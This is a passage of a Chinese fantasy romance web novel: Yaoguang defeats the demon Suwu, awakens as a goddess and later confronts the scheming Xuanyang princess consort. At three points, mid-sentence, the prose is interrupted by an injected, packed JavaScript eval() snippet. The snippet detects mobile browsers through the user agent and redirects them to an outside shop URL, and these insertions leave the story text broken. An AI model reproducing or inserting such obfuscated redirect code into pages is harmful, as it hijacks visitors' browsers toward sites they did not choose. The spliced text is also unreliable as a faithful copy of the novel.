“听闻鬼族擅长煞气,这种气息能直接穿透一切,无视所有直接攻入体。”说到一半,她懊恼道:“但现在又哪里会有煞气高强的鬼族?” 季昀之眼神躲闪,小声道:“不一定。” “你说什么……!”瑶光还没来得及细想季昀之的话,宿无已经几乎挤进莲花,与她仅有一只手的距离,目前她只能全神贯注地抵挡。 这法阵终究经不起宿无的猛烈进攻,开始逐渐消散。 就在宿无欲将挡路的瑶光甩开之时,一根利箭破空而来,宿无敏捷地侧身躲避,但那箭却穿透他的腹部,直接钉在瑶光面前。 “咻!” 宿无的腹部出现了一个拳头大小的洞,鲜血喷涌而出。 透过那伤处望去,瑶光只见司幕孤影独立于空中,手持拉弓状。他虽满身血迹,但衣袂飘飘,一副居高临下的模样,宛如神兵天降。 而原深深刺入他肩骨的箭却不见了。 想到这,瑶光瞳孔一缩,喉间一哽,面前这箭上的鲜血显得尤其刺眼。 是司幕将他身上的箭拔出射向宿无! 那是何等痛苦! “啊啊啊!!!”宿无捂着伤口,痛苦地嚎叫,随即重重倒地。 受了重伤的宿无愈发的癫狂,逐渐陷入狂乱之中。他的气息变得急促而粗重如野兽一般,他全身散发出的怒气如同火山爆发前的热浪,让人感到无比的恐惧。 他愤怒地看向司幕,咆哮道:“你也要阻我吗!!” 司幕眼中寒光闪烁,淡然道:“我自然不会让你伤害她。” 宿无一声怒吼,拍地而起,挥起利爪朝司幕扑去,司幕轻盈地避开。他再次翻身出爪,直接在地面上划出一道深深的裂痕,但司幕又轻松地躲过了这一击。 浑身蛮力的宿无锲而不舍,不想再躲的司幕冷峻地站在院中,手中血光若隐若现,似乎想将宿无一招毙命。 瑶光见他站着不动,宿无进攻的身影仅在咫尺,故提醒道:“司幕公子,小心!” 司幕心里像是停了一拍,在他余光看到瑶光目光关切的那一刻,他及时将术法收了回去,翻身躲过。 发觉端倪的宿无冷笑:“司幕,你在害怕。” 司幕眼神一沉,“我不知道你在说什么。” “你害怕她发现了你的身份,所以迟迟不出手。” 被说中的司幕,身板一震。 “只守不攻。我倒是要看看,你是看重她,还是更看重你的命!”宿无话音刚落,天空竟开始乌云密布泛起闪电。 “轰隆”一声,闪电划过,透过宿无的爪一挥,迅速朝司幕劈去。 司幕挨过一道天罚,受过箭伤,身体渐渐乏力,只能堪堪躲过。可那雷电像是能追踪一般延伸到司幕的所在之处,不等他喘息分毫,便将他身边一假山巨石劈裂。裂开的石块朝他飞去,司幕这次却不为所动,他像是在等什么。 ——他等的人到了。 眼前一身黄衣将砸向他的石块一一震开,瑶光一脸关心俯身在他面前,俩人之间鼻尖对着鼻尖,彼此都能感受到对方的呼吸。 “司幕公子,你还好吗?” 司幕勾唇,问道:“你看我还好吗?” 瑶光仔细打量着司幕,见他虽然脸色苍白,但精神尚可,便稍稍安心,说道:“应当甚好。” 就在他们交谈的间隙,宿无又一次挥爪击向一旁的石柱,石柱滚向他们,两人立即飞身躲开。 只见宿无聚精会神,双爪交叉朝天,吼道:“招雷!” “轰隆!轰隆!轰隆隆隆!”无数雷电无差别击向地面。 常说逃得过初一,逃不过十五,更何况他们此刻面对的是无数个初一十五。天雷如雨,他们无处可逃。即使瑶光与司幕身法再妙,也无法躲过如此密集的雷电,而季昀之更是已强弩之末,是无法将季伶与青稚送出。 见此危急,瑶光把心一横,将视若珍宝的法袋往空中一扔,法袋袋口打开,司幕、季伶、青稚三人被一并吸入法袋。 “瑶光姑娘!你这是在做什么?!”司幕意识到不妙,试图从内撑开法袋,法袋却纹丝不动。 法袋内宛如另一个世界,广阔无垠,深不见底,司幕和季昀之被困其中,从袋内看着瑶光独自迎敌,心中满是焦虑。 法袋里传来阵阵声响,瑶光将其护在身后,坚定地面对宿无:“宿无,我绝不会让你伤害他们一丝一毫!” 说罢,瑶光眼中闪过一抹决然,咬破指尖,将鲜血绘成的符篆抛到空中,聚神一念,符篆震开。 符篆一散,一条巨物兴雾乘云而来,在乌云间来回盘旋,同时,发出了鬼哭神嚎的嘶吼声——那巨物竟是仙兽腾蛇。 还未成功化神的瑶光,此刻只能依赖仙家门法,召唤仙兽腾蛇对上宿无。 腾蛇白到泛青的鳞片如铁甲一般坚不可摧,它灵活地躲着宿无的动作,用蛇尾将其卷起,让他暂时失去了行动力。它的蛇尾将宿无越缠越紧,可宿无面上仍然毫无惧意。只见他一声长啸,奋力将腾蛇震开,一爪挥向它蛇尾处。 腾蛇因蛇尾受伤,巨大的身体在地上不停地翻滚,几乎也要压过瑶光。 下一秒,利爪划破硬物的声音响起,腾蛇被斩断七寸,瞬间消散。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080897|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还未等瑶光做出反应,宿无已经出现在她面前,一把将她抓在手中,阴森森地说:“那我就先把你吃掉。” “宿无!你敢!!!!!!” 法袋中传出司幕撕心裂肺地怒喊,不禁让宿无起疑,曾几何时,鬼王会为一女子失了神智,且害怕自己真身被发现? 看着手中人渐渐与记忆中那人的模样重合,此刻恍然大悟的宿无大笑道:“哈哈哈哈!原来如此!原来如此!” “若你还是数百年前那般全神状态,我与你斗怕是以卵击石。但是现在的你连以前的十分之一都不到,杀你简直顺手拈来!”说着,宿无狠狠地用力掐住瑶光的身体,似乎要直接将她揉碎。 瑶光完全听不明白宿无的话,只觉得自己的五脏六腑正被压挤得无法呼吸。 透过法袋,司幕眼见此情景,心头如坠冰窟,手中血光乍现,准备将法袋生生撕开,救她的心蠢蠢欲动。 不要救她,让她死。 突然,司幕的脑海中闪过一道阴冷的声音。 看着瑶光面色因缺氧而变得发紫,虚脱在地的季昀之急忙喊道:“司幕!救她!!” 司幕仍一动不动,脑海仿佛有声音在告诉他,现在不能出手!只有她死去,才能补偿自己心中的恨!自己数百年来的苦难! 季昀之早已仙力耗尽,只能寄希望于司幕。一向仙风道骨的他此刻也不顾形象了,他泪水浸湿了眼眶,满是青筋的手紧紧攥住司幕的衣襟,嘶声喊道:“她要死了!!!!” 一边是季昀之的催促和自己想救瑶光的心,一边是自己脑海不停地提醒他他对瑶光的恨,司幕头痛欲裂,仿佛有另一个自己在内心挣扎,要将他撕成两半。 就在他恍惚间,宿无张开血盆大口,抓起几欲昏死过去的瑶光,朝空中一扔,喉咙滚动。 司幕瞳孔收缩,心脏一阵剧烈收缩。他大声呼喊:“司瑶!!!!!!” 与此同时,他感觉脑海中的声音渐渐消散,胸口一股热流涌现,仿佛有什么东西在燃烧着他的内心,渴望冲破束缚。 就在瑶光意识弥留之际,她听到了司幕在喊她,又或者说在喊她体内的另一个她。瑶光仿佛感知到了她的存在,为了回应她,整个身躯开始发热,全身闪耀着金色光芒。 而宿无只觉胃里滚烫,似被烈日燃烧,连忙张开口将瑶光吐了出来,却惊讶地发现她并未坠地,而是悬浮在空中。 一束金光自九天飞落至她手中,磅礴的神识倾泻而出,震慑众生。 是万物生! 看着那熟悉的拂尘,即便是化为灰烬,司幕也不可能忘记它!他连忙捂住额头,脑海中嘈杂的轰鸣声再度响起。 觉醒后的瑶光全身上下流露着庄严、高贵的气息,令人不敢逼视。她用空洞的,不,应该说是俯视众生的眼神看向宿无,面容泰若自如,左手为咒,右手持万物生,慈悲为怀道:“宿无,数百年前我已将你诛杀,你逆天道而行,用魔髓复活,危害人间,罪无可恕!” “我罪无可恕?我逆天道?那你又是什么!”宿无不服:“早在睚眦魔尊大战天界时,你不是应已神殒了吗?!你怎么还活着!” 瑶光不语,双眸一闭,拂尘一挥。 霎时,金光从天而降击向宿无,那便是万物生。与天罚不同的是,它是万物之神的绝技,一击即可毁灭妖魔鬼三族,使其魂飞魄散。 神力压迫着宿无的躯体,使他整个面容变得扭曲,尽管他顽强站立,但四肢已开始抽搐,地板已无法承受他的重量。 只听她红唇轻启:“灭!” “啊!!!!!!” 强大的神力如泰山压顶般有一次袭来,宿无口中鲜血直流,手臂开始弯曲,双脚也渐渐支持不住了,径直跪了下来。 最终,他如蝼蚁一般被碾碎在地上,鲜血顺着台阶渐渐流淌而下,又一次的感受到了自己的生命力在渐渐逝去。 而那一击,似乎用尽了目前瑶光的全部神力,她虚脱地从空中坠下。就在她快要触地时,法袋解除禁锢,司幕分身上前抱住她,轻轻地跪在地上,将她小心翼翼地搂在怀中。 濒死前,宿无看到司幕眼角通红,小心翼翼环抱瑶光的模样,还以为是哪家郎君要死娘子了一般,不由得冷笑。 他嘶哑的声音如毒蛇悄然游走,湿滑阴冷,突然钻进了司幕心底最深处的伤口。 “呵,没想到曾经叱诧风云的鬼王还是如此......为同一个人重蹈覆辙......万物因她而生......万物也因她而死......你也不例外......” “为情所困……终究一死……” 还未等他说完,他突觉头痛欲裂,一声闷哼,宿无的头竟自行炸开,血水四溅。 在瑶光看不见的地方,司幕手作鹰勾状。他的脸上沾满血红,半眯着的眼眸晃出一抹狠厉的光,眸中原有的温柔之色变得阴沉。 白日晨起,第一缕阳光照在他们身上,犹如来自地狱的恶鬼在拥抱他的神明。 32. 玉坠花落蝶留痕(八) “师姐,你终于醒了!你可是吓坏我们了。”少女见瑶光终于清醒过来,长舒一口气,语气中带着一丝喜悦。 谁?是谁在唤她? 瑶光此刻只觉手脚乏力,仿佛身处混沌之中。她奋力将眼睁开,朦胧中有一娇俏可爱的少女映在她面前,与她眸对眸,顿时把她吓得清醒过来。 微微侧望,她正身处一处清雅的居室中,一旁的纱帐随风飘扬,还有一青釉莲花形香炉在散发袅袅檀香,味道怪得紧。 怎么回事?!她刚刚不是被宿无吞入腹中了吗?眼前这人是谁? 想到这,瑶光连忙起身看了看能展开的双手,掀开被绸看了看能活动的双脚,确保自己四肢健全也还活着后,松了口气。 她的动作像是吓到了一旁的少女,只见少女秀眉微蹙,急道:“师姐,你怎么了?” 少女一身朴素的浅青衣袍,整整齐齐、干干净净的,看着像是话本里哪个观里的小道士小仙姑。瑶光可识得什么道士仙姑,但是看少女因着急原地打转,俩丸子头下的小辫儿晃来晃去的模样,倒是挺可爱的。她好奇地问道:“你是?” “师姐竟不认得我......明明师尊说了焚这香可给师姐招魂的......莫不是发热烧坏脑袋了?”少女嘟囔着,伸手放在她额前,却发现那处温热正常,更加懊恼了,“我是杏桃啊。” “唔。”杏桃?这不是她潜入宣阳王府时的化名吗? 杏桃哭丧着脸凑上来抱住瑶光,圆圆的脸蛋上满是泪痕,哽咽得像个孩子:“师姐,你真把我忘记了?你怎么可以把杏桃给忘了呀?!” 看着对方一脸真情意切的模样,瑶光脸上木然。难道她又入梦了?昀之仙君的仙气又溢出? “李杏桃!你这样扒着她,她能好起来才怪!” 瑶光朝门处望去,一男一女走了进来,同样穿着浅青衣袍,袍上沾了些雪。女的看着光鲜亮丽些,举手抬足间自然而然地散发出一种任性骄纵之气;而那男的跟在她身后,沉默寡言,像是她的侍卫一般。 杏桃貌似很害怕她,一见到她,便连忙起身作揖,道:“双双师姐好,莫言师哥好。” 燕双双略过杏桃,见瑶光目不转睛地盯着自己,展颜一笑,本来平平无奇的脸上露出俩梨涡,好似潋滟春水,顾盼生辉。 她好整以暇道:“喂,你醒啦。” 这位双双师姐的态度不知为何让瑶光感到有些不适,她反驳道:“我不叫喂。” 燕双双像是被气到了,娇恼道:“你私自提前出关下山,给咱们蓬莱观带来多大的麻烦我都还没给你算呢,你给我这态度?!” 她越说越气,说着竟插起腰来:“咱们一入蓬莱观便是已算是踏入仙族半步,神与仙素来不许伤及凡人。你倒好,伤了人,惹了天罚,还让咱们师尊受了重伤。待师尊伤好些,你必须得亲自去给师尊负荆请罪。” 这燕双双看着趾高气扬,杏桃忙站到瑶光那边,护着她道:“双双师姐,师姐她貌似失忆了,这事如何了结还要等师尊发落再说。” “你呀,天天叫我双双师姐,叫莫言莫言师哥。”说着,燕双双指向瑶光,讽刺道:“唯她,你只叫师姐。这回她害你敬爱的师尊受伤了,你还护着她。” 站在中间的杏桃左右为难,但还是坚持站在瑶光身前,“一入门,唯有师姐对我好,我相信师姐也是有苦衷的。” 想起自己确实也曾对杏桃颇有为难,燕双双一时语塞,气得跺了跺脚,挥袖而去。 她身后的徐莫言朝杏桃与瑶光微微点头,转身紧跟其后。 太多的信息突然涌入脑海,瑶光一时难以消化,为了了解清楚事情的来龙去脉,她便向杏桃一一提问:“杏桃,你可知我为什么会提前出关下山?” 杏桃甜甜一笑,说道:“杏桃知道啊,师姐你说你想师姐夫了,回去见他。” “师姐夫?”在这个梦境,她竟是有夫婿了? “是呀,师姐。”杏桃突然羞红了脸,像个熟透了的桃子,细声细语道:“您说师姐夫再等下去就要变成怨夫,怕他被人勾得红杏出墙,所以要提前出关。” 这…….瑶光满头黑线,她怎会说这些肉麻的话?果真她是又在梦里了。 脸皮薄的瑶光感觉脸上愈来愈热,连忙转移话题,又问道:“那我为何会中天罚?” “杏桃不知,只知师尊将你抱回时,你已奄奄一息,师尊将你放下后吐血不止也昏过去了。” 杏桃像是想到了什么,喜笑颜开,匆匆道:“既然师姐你醒了,我也要赶紧去找师尊了。师尊说了,你一醒杏桃就要去跟他汇报,说不定他听到好消息,心情一好,伤也好得快些。” 瑶光道:“你可真听他话。” “那可是。杏桃呀自小便是弃儿,唯师尊和师姐对杏桃极好,此生杏桃只听你们的话。”说着,杏桃还骄傲起来了,圆圆的小脸仰得高高的。 “那……” “不说了,我要去找师尊了!”说罢,杏桃蹦着小步伐就往屋外跑去,生怕耽误了一秒一刻。 “唉!” 瑶光想起自己还没有问清楚她自己在这梦中的身份,连忙起身抓住她,却因血气不足,应声倒地。 晕过去前,瑶光犹然记得那窗边花瓶里的一支梅花,半开未开,似刚出阁的少女般低眉含羞。 “师傅,师傅你醒啦?” 这次瑶光睁开眼,看到的是青稚关切的脸庞。她沉默地起身环视一周,发现自己同样是在寝居内,身上盖着的却不是被绸而是棉质薄被,没有轻纱,没有熏香,就连屋外也是风和日丽。风一吹,传来淡淡的荷叶清香,瑶光一时间恍惚难辨,倒是分不清哪个是梦境,哪个是现实了。 “师傅,你好些了吗?还有哪里疼?”耳边再次响起青稚的声音,瑶光下意识地掐了掐他的脸蛋,听到他吃痛的声音才终于确定自己回到了现实。 一旁的季伶也感慨道:“经历了天罚和与宿无的恶战,瑶光大人竟只是昏睡了数日而已,真是令人佩服。” 昏睡了数日?她竟睡了如此之久,那这几日宣阳城内怕是风云变动。 “姽婳,姽婳姑娘她......”这是瑶光昏睡过后的第一句话,每说一次那个名字心里都揪着痛。 “徐妈妈已经将她和她姐姐一起葬了,”青稚支支吾吾:“葬在了城隍庙。” 瑶光眼睫颤抖,如鲠在喉,过了好一会儿,才声音干涩道:“也好,也好。算是完了她心愿。” 随后,她见司幕和季昀之都不在,想起司幕那天血迹斑斑的样子,忙关心问道:“司幕公子呢?他还好吗?” 青稚道:“司幕公子应当还好罢,当日战后是他将你抱上塌的,之后他便潜居房中,没出来过了。” 也就是说她昏睡了几日,司幕公子便待在屋中几日,这不吃不喝的,说不定是伤势过重,在屋中昏死过去了。 想到这里,瑶光不禁蹙起眉头,语气中带着担忧:“你们怎么都不进去看看他,要是出事呢?” “司幕公子之前交代了,不用送吃喝,不用探望。”看到瑶光忧心忡过虑的模样,青稚连忙拍拍胸口道:“但师傅你放心,我每日都有去问候他,听到他应了才离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093067|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 季伶补充道:“那司幕公子不是神医吗?他应当无碍。” “医者不能自医。”瑶光越想越不对劲,还是决定得去看看他,于是下床穿鞋,忧心忡忡道:“不好,我还是去看看他罢。他的居室在哪?” 青稚指了指一个方向,道:“出了院往那处走,隔壁就是司幕公子所在的院子了。” “好。”说罢,瑶光匆匆离去。 怎料,他们一走出去,绿梨便在院门口等着他们,衣衫微湿,好似已经在那处已经站了好些时间,身上也沾染了雾气。 “瑶光姑娘,还有两位恩人,王妃已等候多时。” 一身侍女衣衫的绿梨神情有些许疲惫,眼下青紫尤其明显,似是已不曾安稳入睡数夜。而她身后,则站着数名身材魁梧的侍卫。他们肌肉紧绷,手里紧握腰间佩刀,不知是尽忠职守,亦或是在害怕。 瑶光抬眸,屋檐上已无任何魔族妖族的踪影,鼻间也嗅不到妖魔的味道,妖魔们怕是见到宿无倒台各奔东西了吧。妖魔果然是最冷血的种族,只向强者低头。待强者一倒台,他们便四处逃散,直到找到下一个强者,毫无忠诚可言。 那,他们这是在害怕什么? * 此刻,司幕屋内的情况确实不乐观。刚在外补完精血的他翻窗一入屋内,便感觉有所不妥,似是有人在屋里等着他,鼻腔里尽是仙道的气息。 他警惕地看向四周,试探道:“季昀之?” “是我。” 隔间内,白衣身影缓缓走出,一如既往的高洁出尘。 “私闯居室,可不像是仙君所为。”司幕眉眼低垂,瞥见肩上外衫被屋外树枝划破的痕迹,故走到一旁将外衫挂起,略过季昀之,边脱边道。 “见昔日爱人陷入危险而不救之,也不像是司幕所为啊。” 季昀之面露不善,眼神锋利冷然,也不等司幕反应,他朝司慕步步逼近,严声质问道:“你当时为何不救她?” 这是来兴师问罪的。 司幕想起那时的场景,心中也烦躁不已,解释道:“当时,我被魇住了。” “魇住?”季昀之冷笑,“怎么可能。堂堂鬼王,鬼族之最,能有谁能将你魇住?” “信不信由你。”司幕不想再做多解释,毕竟他也不清楚为何当时脑海里会有别的声音,还控制了他的行动。 换作是他,他也绝不会相信。 季昀之摇摇头,自嘲道:“我本以为她回来了,有你在定能护住她,现在我很怀疑这一点。” 司幕自知理亏,无话可说。 “你很危险,若无法保护她,以后还是不要跟我们一路了,”季昀之负手于身后,背对着司幕道:“我会跟她说的。” 司幕眼神暗下,右手扶额,喉中发出一阵令人不寒而栗的低沉幽怖笑声。他不屑道:“季昀之,不能护住她的是你!” “你说什么!”季昀之猛地转过身。 司幕直视他的双眸,嗤笑道:“你只是一个深居简出的仙君,那天你可是狼狈得很啊。” “司幕!” 恼羞成怒的季昀之快步上前欲向司幕挥拳,却反被他扼住喉咙压在桌上,桌子被推得稍微移了些位,桌上茶具铿锵作响,在屋内清脆地回荡。 季昀之腰间受疼,闷哼一声。 见他因痛而皱眉,司幕抿唇,将劲道放松了些。 面对季昀之的怒视,他眸光流转,信誓旦旦道:“此后,我绝不会再让这样的事情发生,她的命由我护着。” 一时之间,他们针锋相对,谁也不让谁。 33. 玉坠花落蝶留痕(九) 小荷才露尖尖角,早有蜻蜓立上头。 正是初夏好时节,整座王府皆是虫鸣鸟叫声。沿途密密麻麻的鹅卵石路旁有一片池塘,风一吹,碧盘滚珠,充满清新朝气,观者心旷神怡。 瑶光恍惚,仿佛那日的血雨腥风只是黄粱一梦。然而,远眺破墙碎瓦之际,她心中轻叹声起,又不得不承认残酷的现实。 或是因为王府之大,路程有些许漫长。走在前头领路的绿梨起初默不作声,过了好一会儿,终是启唇关心道:“瑶光恩人身体有恙否?” “已无恙。”瑶光轻声回答。 耳尖的瑶光似乎察觉到绿梨悄悄松了一口气,接着又听她头也不回地说:“瑶光恩人果非寻常人,无恙便是极好。杀仇之恩,绿梨无以为报。” “宿无谋害人间,神族弑魔,天道罢了。绿梨姑娘无需放在心上。”瑶光如常谦逊地回应着,可待她瞧着绿梨因被雾气浸湿、略显单薄的身影,她怔了怔,略带迟疑,又道:“我本以为绿梨姑娘只因是王妃身边的人,才会冒险相助,未曾想过姑娘你与宿无竟有如此渊源。” “旧仇已了,过往一笔勾销罢。”绿梨笑中带苦,“若不是恩人为咱们除去宿无,咱们怕是一直活在仇恨与恐惧中。” 见气氛有些严肃,青稚突然插话,嬉皮笑脸道:“既然一笔勾销,绿梨姑娘以后不必称呼咱们为恩人,你可以称师傅为瑶光,称他为季伶,称我为青稚便可。” “恩人,那怎么可以呢?!” 绿梨连忙回眸看去,印入眼帘的是瑶光认真的神情。兴许是瑶光故作认真的模样唬到了她,她终是妥协道:“那请你们也称我为绿梨罢。” 瑶光眉稍带笑:“好的,绿梨。” 青稚却说:“好的,绿梨姐姐。” 他身旁寡言少语的季伶幽幽问道:“阿稚,怎么就喊绿梨姐姐了?” “绿梨姐姐应当是比我大罢,那不喊姐姐喊什么?”青稚一脸天真无邪地望着绿梨,“是吧,绿梨姐姐。” 绿梨被逗得噗呲一笑。 “胡闹,不要拿女子年岁开玩笑。”说着,瑶光敲了敲青稚头,真不知里面藏着什么东西。 “哎哟!”青稚揉了揉被打疼的地方,睨了一眼瑶光,“怎么,不许别人说年岁,难道你怕别人知道你几百岁了?老太婆。” “喂,我可是你师傅。”瑶光的怒火被挑起,“尊师重道知道吗?” “好的,老太婆师傅。” “闭嘴,臭小子。” “唔唔唔!”青稚想要反驳,却发现自己的嘴仿佛被封住了一样,怎么也张不开,愤怒地瞪着瑶光。 瑶光则冲着青稚做鬼脸。一路上,四人嬉笑打闹,少了几分严肃,其乐融融。 随着绿梨的带路,他们一走进王妃的院子后突觉四周阴冷,青稚不禁打了个寒颤。明明是初夏,为何这儿如同深秋,异常寂寥? 待他们走到屋前时,绿梨突然停下来,收起了笑意,板起脸道:“瑶光,王妃吩咐,让你一人进。” 虽觉古怪,但瑶光还是朝青稚与季伶望去,示意让他们随侍卫们在外稍候。 俩人默契地点了点头,与侍卫们一同留在原地。 一抬脚入屋,瑶光便觉室内昏暗,数条白纱从屋檐垂下,花瓶中插满素菊,散发着阵阵清香,却夹杂着些许令人作呕的腐肉味,仿佛置身于冥堂之中。然而,屋中无任何祭奠之物,更无棺木牌位。 腐肉的气味愈发浓烈,瑶光循着气味望去,隐约可见一人影静静地躺在屏风后,一动不动。 瑶光试探性地问了问:“可是王妃在那处?” “过来罢。” 那处传来声响。 瑶光回头看向绿梨,只见她垂眸不语,似是要掩饰眼底晦涩。 怀揣着心中的忐忑,瑶光缓缓走近。待走近后,她发觉榻上躺着的人身形与丰腴的王妃略显不同,更加魁梧些。 那不是宣阳王妃,而是宣阳王。 瑶光衣衫摩擦的窸窣声并没有吵醒他,他像是没有一点儿生气一般,安静地躺在那处。 “瑶光姑娘身上无大碍罢?” 声音突然从她身旁响起,瑶光猛地侧头望去。阴翳下,宣阳王妃一身素锦,正悠哉地坐在软榻上品茗,脸上竟毫无悲伤之色。她打扮简洁,两鬓微霜,发间突然多出许多白发,让她整个人看起来沧桑了不少。 仔细一闻,宣阳王妃身上似乎还藏着淡淡的灵堂佛香。 瑶光抚裙屈膝:“王妃安康,瑶光已无大碍。” “无大碍就好。”宣阳王妃放下茶杯笑了笑,继续道:“瑶光姑娘怕是也看出来了罢。” 瑶光没有说话。 “那日我们逃脱时,王爷被妖物偷袭受了重伤,去了。”宣阳王妃故作哀痛的声音中带着丝丝寒意。 瑶光表面上仍然波澜不惊,可心中已如惊涛骇浪。 宣阳王爷是如何死的,他们都心知肚明。 远远一望,宣阳王唇色呈紫,脸色青白,似是中毒身亡。这又怎会是因伤重而死呢? 虽然应了宣阳王妃帮她杀父弑子,但瑶光其实从未想过宣阳王死。世子之所以要死,仅是因为他体内寄生的宿无,宿无为祸人间,神族弑魔,顺应天道。至于宣阳王,人间乃有人间的规矩,他身为人族便当受到人间的惩罚。她原想将他上交官家,一一定罪,却未料到王妃的仇恨深重,心机深沉。 就算日后上报宣阳王谋反一案,人证物证俱在又有何用?若始作俑者死,无从对证,这案件怕也只是不了了之。纵使她也庆幸如此,唯因这样其他无辜之人才不至被牵连。 瑶光意味深长地看向王妃,而王妃眼中只有手中的热茶。她一副意犹未尽的模样,淡淡地将浮沫撇去,轻轻地品了一口茶。 屋内陡然静寂,只留下茶具清脆的碰撞声。 像是受不了这样的寂静,瑶光开口道:“宣阳王和世子已逝,那瑶光亦当告辞了。” 宣阳王妃问道:“何时走?” “今日午后便走。瑶光,告辞了。” 话音一落,瑶光急忙行礼,不等王妃挽留便抬步,匆匆欲离。 “瑶光姑娘,请留步。”宣阳王妃语调平和,却流露出身居高位者的威严。她放下茶杯,招手唤过绿梨,就着绿梨的搀扶,缓缓起身,取出怀中一支雕有玉兔的白黄玉簪。 玉簪一露,浓烈的妖气扑鼻而来,那妖气还夹杂着些许花香。瑶光止步,转头看向它,黛眉微蹙。如此强大的妖气,这簪是属于宿无身旁那蝶妖的? “本王妃亲眼见秦威将此玉簪与宴会那日的奏琴娘子一起献给宿无,口口声声说这是她的玉簪。”宣阳王妃欲将玉簪给予瑶光,“那这簪应当是属那奏琴娘子的罢?” 闻言,瑶光眼里闪过一丝慌乱,脑海中浮现出那日被血染红的水蓝色衣裙,就像有一股麻绳拧住了她的心脏,紧紧缠绕,窒息地闷痛。 奏琴娘子,说的应是姽婳姑娘。 她答:“既然王妃如此说,那便是。” 看到瑶光的反应,宣阳王妃满意地扬起嘴角,眼弯如月牙。她说:“本王妃对她的死深表遗憾。听闻,她与城中一少年郎有情谊,将此物赠与那少年,于他也是个念想。” 瑶光嘴角强撑起一个牵强的笑,喉咙里挤出一个苦涩的好字,上前接过玉簪后,微微作揖便离去。 那匆匆的身影似是在落荒而逃,看不见的梦魇紧紧追赶着她的脚步。 见瑶光走远,原在稍远些的绿梨快步走近,忙问道:“王妃,那玉簪算是世子的遗物,也是官家禁忌,你为何不留着,要赠与他人?” “若此簪能有更大的用处,何尝不试?” “恕奴婢不明白。” “你可知那少年郎,现今可是身处那山上。”说着,宣阳王妃侧坐在软榻上,从暗格里拿出一玉镯,细细摩挲,看着它的目光爱恨夹杂。 那镯上有一道与和田玉簪相同的金环,但似是佩戴已久,金环上的光泽都被磨得花了,裂痕密布。若不是那玉镯仍晶莹剔透,真难以相信如此残破不堪的镯子是一介王妃的饰品。 绿梨抬眸一看,大惊:“难道是——” “若他们能走过那座山,那便是极好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100069|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,算是为元儿报仇。”话说到一半,宣阳王妃顿了一下,转身握住绿梨冰冷的双手,她继续道:“就算皇上怪罪下来,王爷已逝,无论如何谋反一罪也不会连累到咱们。高高在上的那人不至于因为一个谋反失败,‘自寻短见’的王爷,得罪本王妃背后的娘家。” 宣阳王妃越说,绿梨的心越慌,她颤声问道:“那若他们不能呢?” “若不能......那便是他们的命数了。” “王妃!瑶光姑娘他们可是咱们恩人!” 宣阳王妃拍桌而起:“那又如何?!讲到底,元儿还是死于她手!!!” “王妃!!!” 绿梨连忙抽回手,扑通一声瞬间跪地,神情惶恐,不敢抬头。 “绿梨你勿怕,虽然你有助她杀元儿,可那是在本王妃授意下的,本王妃不怪你。”说着,宣阳王妃轻轻将玉镯放置一旁案几上,下榻扶起绿梨,“元儿身边的人,就只剩你和红榴了,你们就像本王妃的干女儿一般,咱们以后都是一家人。” 宣阳王妃的话语中自然而然地散发出一股天生的威仪,令人不敢轻易违逆。 绿梨半低着头,神色不明地应道:“是,王妃。” 宣阳王妃像是在抚摸孩童一般,轻抚绿梨的的脸颊,轻声细语道:“乖。” 就着宣阳王妃的轻抚,绿梨看向她,轻声问道:“若瑶光他们要去那处,必定少不了一场恶战。王妃能否许我为他们熬些补汤,助他们早些伤愈,为世子报仇?” 宣阳王妃摸在绿梨脸上的手顿了下,笑道:“许。” “诺。”绿梨垂头,俯身作揖离去。 一出屋门,她感觉自己步步虚浮,如行走在云雾上。 * 午后,王府里一院外,数十名侍卫整整齐齐地站着,个个神态紧张,右手紧握佩刀刀柄,似是随时就可拔刀而出。 诱人的鲜汤香气悠然飘来,让一日未食的众侍卫们垂涎三尺。他们咽了咽口水,渐渐松散起来,纷纷张望是哪里来的美食,而最后盼来了一上好汤盅和一道黛绿倩影。 那倩影愈走愈近,慢慢穿过他们,就在她要跨进院子时,数名侍卫挡在她面前,一一拔刀将刀背对着她。 手握食案的绿梨稳住脚步,问道:“这是作甚?” 为首的侍卫凛然道:“绿梨姐,王妃吩咐咱们护送恩人们离开,不得有人打扰,亦不得有任何闪失。” 绿梨厉声叱道:“此乃是王妃吩咐我为恩人们所熬煮的补汤,难道你们要抗命吗!” 侍卫们面面相觑,不知如何是好。毕竟绿梨现在可是王妃面前的红人,她说的话极有分量,谁敢不听? 有一稍微机灵点的侍卫站出,与她提议:“那,绿梨姐你在这处等侯,让小的我拿进去可好?”说着,他就想上前拿过食案。 绿梨侧身轻轻挡过,“不可,王妃嘱咐我亲手交予他们。” 